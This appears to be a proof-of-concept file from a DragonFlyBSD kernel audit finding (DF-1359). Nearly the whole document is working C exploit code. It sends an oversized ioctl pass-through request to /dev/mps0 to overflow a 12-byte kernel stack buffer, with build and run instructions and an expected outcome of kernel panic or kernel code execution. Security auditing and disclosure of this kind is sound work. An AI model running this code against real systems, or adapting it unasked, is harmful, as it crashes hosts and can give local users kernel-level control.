DragonFlyBSD Kernel Audit
DF-1359 / poc_mps_stackoverflow.c
← back to finding ↓ download raw
/*
 * DF-1359 PoC: mps_user_pass_thru stack buffer overflow
 *
 * copyin of user-controlled RequestSize into 12-byte MPI2_REQUEST_HEADER
 * on the stack BEFORE bounds check. Operator group access.
 *
 * Build:  cc -O2 -Wall -o poc_mps_stackoverflow poc_mps_stackoverflow.c
 * Run:    ./poc_mps_stackoverflow /dev/mps0
 * Expect: kernel panic (stack canary) or kernel RCE
 */

#include <fcntl.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>

/* Minimal mps_pass_thru_t definition */
#define MPS_PASS_THRU_DIRECTION_NONE 0

typedef struct {
    uint64_t PtrRequest;
    uint32_t RequestSize;
    uint32_t ReplySize;
    uint64_t PtrData;
    uint32_t DataSize;
    uint32_t DataDirection;
    uint64_t PtrReply;
    uint32_t MaxSenseBytes;
    uint32_t DataOutSize;
    uint64_t PtrDataOut;
    uint32_t Timeout;
    uint32_t Reserved;
} mps_pass_thru_t;

#define MPTIOCTL_PASS_THRU _IOWR('M', 28, mps_pass_thru_t)

int main(int argc, char **argv)
{
    const char *dev = argc > 1 ? argv[1] : "/dev/mps0";
    int fd = open(dev, O_RDWR);
    if (fd < 0) { perror("open"); return 1; }

    /* 1024-byte payload overflows the 12-byte MPI2_REQUEST_HEADER stack variable.
     * Bytes [12..1023] smash the kernel stack frame. */
    uint8_t payload[1024];
    memset(payload, 0x41, sizeof(payload));

    mps_pass_thru_t pt;
    memset(&pt, 0, sizeof(pt));
    pt.PtrRequest      = (uint64_t)(uintptr_t)payload;
    pt.RequestSize     = sizeof(payload);
    pt.DataDirection   = MPS_PASS_THRU_DIRECTION_NONE;
    pt.DataSize        = 0;

    if (ioctl(fd, MPTIOCTL_PASS_THRU, &pt) < 0)
        perror("ioctl");

    close(fd);
    return 0;
}